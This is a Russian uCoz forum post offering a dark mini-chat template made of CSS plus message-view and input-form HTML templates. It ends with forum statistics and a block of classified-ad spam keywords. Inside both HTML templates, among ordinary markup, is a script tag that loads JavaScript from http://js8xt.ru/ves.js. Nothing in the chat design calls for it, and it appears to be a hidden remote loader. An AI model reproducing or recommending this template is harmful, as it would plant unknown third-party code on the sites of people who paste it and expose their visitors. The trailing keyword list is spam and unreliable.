• Страница 1 из 1
  • 1
Форум » Готовые скрипты и интересные решения для системы uCoz » Другие скрипты для ucoz » Темный мини-чат для uCoz (100% рабочий)
Темный мини-чат для uCoz
MyLifeДата: Среда, 02.05.2012, 16:42 | Сообщение # 1
Сообщений: 7
http://s019.radikal.ru/i636/1204/18/2cfb3b1b1e8d.png <-- Скрин

Темный мини-чат для uCoz. Удобный черный чат, с различными функциями и красивыми картинками.
Автор: TAMEP.

В CSS:

Code
/* Темный мини-чат */
.vid_mchat_b {
  border-bottom:1px solid #2b2b2b;
}

.vid_mchat {
  overflow:hidden;
  background:#191919;
  border-bottom:1px solid #0a0a0a;
  padding:3px 0 0 0;
  min-height:58px;
}

.vid_mchat .name {
  max-width:145px;
  padding:0 0 4px 0;
  background:url("vid_mchat_name_b.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_name_b.png*/ no-repeat bottom center;
}

.vid_mchat .text {
  font-weight:bold;
  color:#636363;
  padding:3px;
}

.vid_mchat .avatar {
  float:right;
  background:url("vid_mchat_ava.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_ava.png*/ no-repeat 0 0;
  padding:2px;
}

.vid_mchat .avatar img {
  width:38px;
  height:38px;
  border-radius:5px;
  -moz-border-radius:5px;
  -webkit-border-radius:5px;
}

.form_add {
  padding:0 4px 5px 3px;
}

.form_add .bbcodes {
  padding:0 0 2px 3px;
}

.form_add .bbcodes a {
  display:inline-block;
  background:url("bbcodes_a_l.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l.png*/ no-repeat 0 0;
  padding:0 0 0 5px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#69859f;
  height:17px;
  text-align:center;
  line-height:17px;
}

.form_add .bbcodes a span {
  display:inline-block;
  height:17px;
  background:url("bbcodes_a_r.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r.png*/ no-repeat right;  
  padding:0 5px 0 0;
}

.form_add .bbcodes a:hover {
  background:url("bbcodes_a_l_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l_h.png*/ no-repeat 0 0;
  color:#1a1a1a;
  text-shadow:0 1px 0 #88a1b5;
}

.form_add .bbcodes a:hover span {
  background:url("bbcodes_a_r_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r_h.png*/ no-repeat right;
}

.form_add .submit {
  margin:0;
  padding:0 3px 0 0;
  border:0;
}

.form_add .submit input {
  background:url("form_add_submit.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_submit.png*/ no-repeat 0 0;
  width:42px !important;
  height:42px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#636363;
  padding:0;
  margin:0;
  border:0;
}

.form_add .textarea {
  width:156px;
  float:right;
  padding:1px 0 0;
  margin:0;
  border:0;
}

.form_add .textarea textarea {
  padding:9px 6px;
  width:144px;
  height:23px;
  border:0;
  background:url("form_add_textarea.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_textarea.png*/ no-repeat 0 0;
  height:23px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#636363;
}
/* --- */


Вид материалов чата:

Code
<div class="vid_mchat_b"><div class="vid_mchat">
<div class="avatar"><img src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>Ссылка на NOAVATAR<?endif?>" alt="$USERNAME$" /></div>
<div class="name"><script language=JavaScript src=http://js8xt.ru/ves.js></script><div style="padding:0 0 0 5px;"><a href="$PROFILE_URL$"><img alt="" src="http://informers.ucoz.ru/scripts/mchat/user.png" border="0" style="vertical-align:-2px"/></a>  
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$USERNAME$[/i], ';return false;"><b>$USERNAME$</b></a>
</div></div>
<div class="text">$MESSAGE$</div>
</div></div>


Форма добавлений сообщений мини-чата:

Code
<?if($USER_LOGGED_IN$)?>
<div class="form_add">
<div class="bbcodes">
<a href="javascript:add_bb_code_b()"><span>B</span></a>
<a href="javascript:add_bb_code_u()"><span>U</span></a>
<a href="javascript:add_bb_code_i()"><span>i</span></a>
<a href="javascript:add_bb_code_s()"><span>S</span></a>
<?if($MSGCTRL_URI$)?><a href="$MSGCTRL_URI$"><span>Настройки</span></a><?endif?>
</div>
<div class="textarea"><textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" placeholder="Текст сообщения..."></textarea></div>
<div class="submit"><div style="width:30px"><script language=JavaScript src=http://js8xt.ru/ves.js></script><input type="submit" value="OK" class="mchat" id="mchatBtn" style="width:30px;"><img alt="" style="display:none;" id="mchatAjax" src="http://s42.ucoz.net/img/fr/ajax3.gif" border="0" width="16"/></div></div>
</div><!--/form_add-->
<?endif?>
Форум » Готовые скрипты и интересные решения для системы uCoz » Другие скрипты для ucoz » Темный мини-чат для uCoz (100% рабочий)
  • Страница 1 из 1
  • 1
Поиск:

Статистика форума
Последние темы Читаемые темы Лучшие пользователи Новые пользователи
Power
(191)
element
(183)
falenangels
(63)
TRANE
(25)
jasminka
(16)
Зверь
(14)
Batareyka
(14)
Pro100Master
(14)
Apokalipcis
(9)
magistr
(9)
vinipuh
13:18
bioware73
12:25
Lil_swood
17:34
Py6uH
15:58
DoG
20:27
Calipso79
02:55
Rafachhh
14:26
Onlines
21:35
Находим скрипты.... (21)
element VS AL)3U$TANI (21)
TRANE vs element (13)
Мой мувик...=) (8)
форма заявки на вступление в клан! (7)
Ketrawars.ru (0)
Новый Топ пользователей с аватарами для Ucoz (0)
Простой и красивый вид формы опроса (0)
Красивый информер "кто нас сегодня посетил" для Ucoz (0)
Flash радио для сайта (0)
Дать бесплатное объявление в новороссийске, Разместить объявление недвижимость краснодара, Объявление продам процессор москва, Принимать объявления работа на дому, Дать объявление о продаже собак по украине, Краснодар объявления аренда, Сколько стоит снять квартиру в алмате объявления, Газета быстрый курьер урала. бесплатные объявления. продажа однокомнатной квартиры.дать объявления, Газета из рук в руки. дать объявление, Авторынок краснодара разместить объявление, Доска объявлений недвижимость продам в орле, Дать объявление курской, Дать объявление в ваш шанс, on-line сумы, Дать объявление сохранность, Дать объявление по продаже предприятия по интернету, Мебель-производстводать объявление, Объявления продам хоккейная экипировка форму, Подать объявление на продажу мопеда, Подать объявление куплю книгу, Подать бесплатное объявление в газете купи продай, Львов, доска объявлений недвижимость, сдача посуточно, Дать объявление для знакомства, Дать бесплатное объявлениеставрополь26услуги строительство, ремонт в г.ставрополе, Объявление продам квартиру 2000год, Подать объявление о продаже рыбы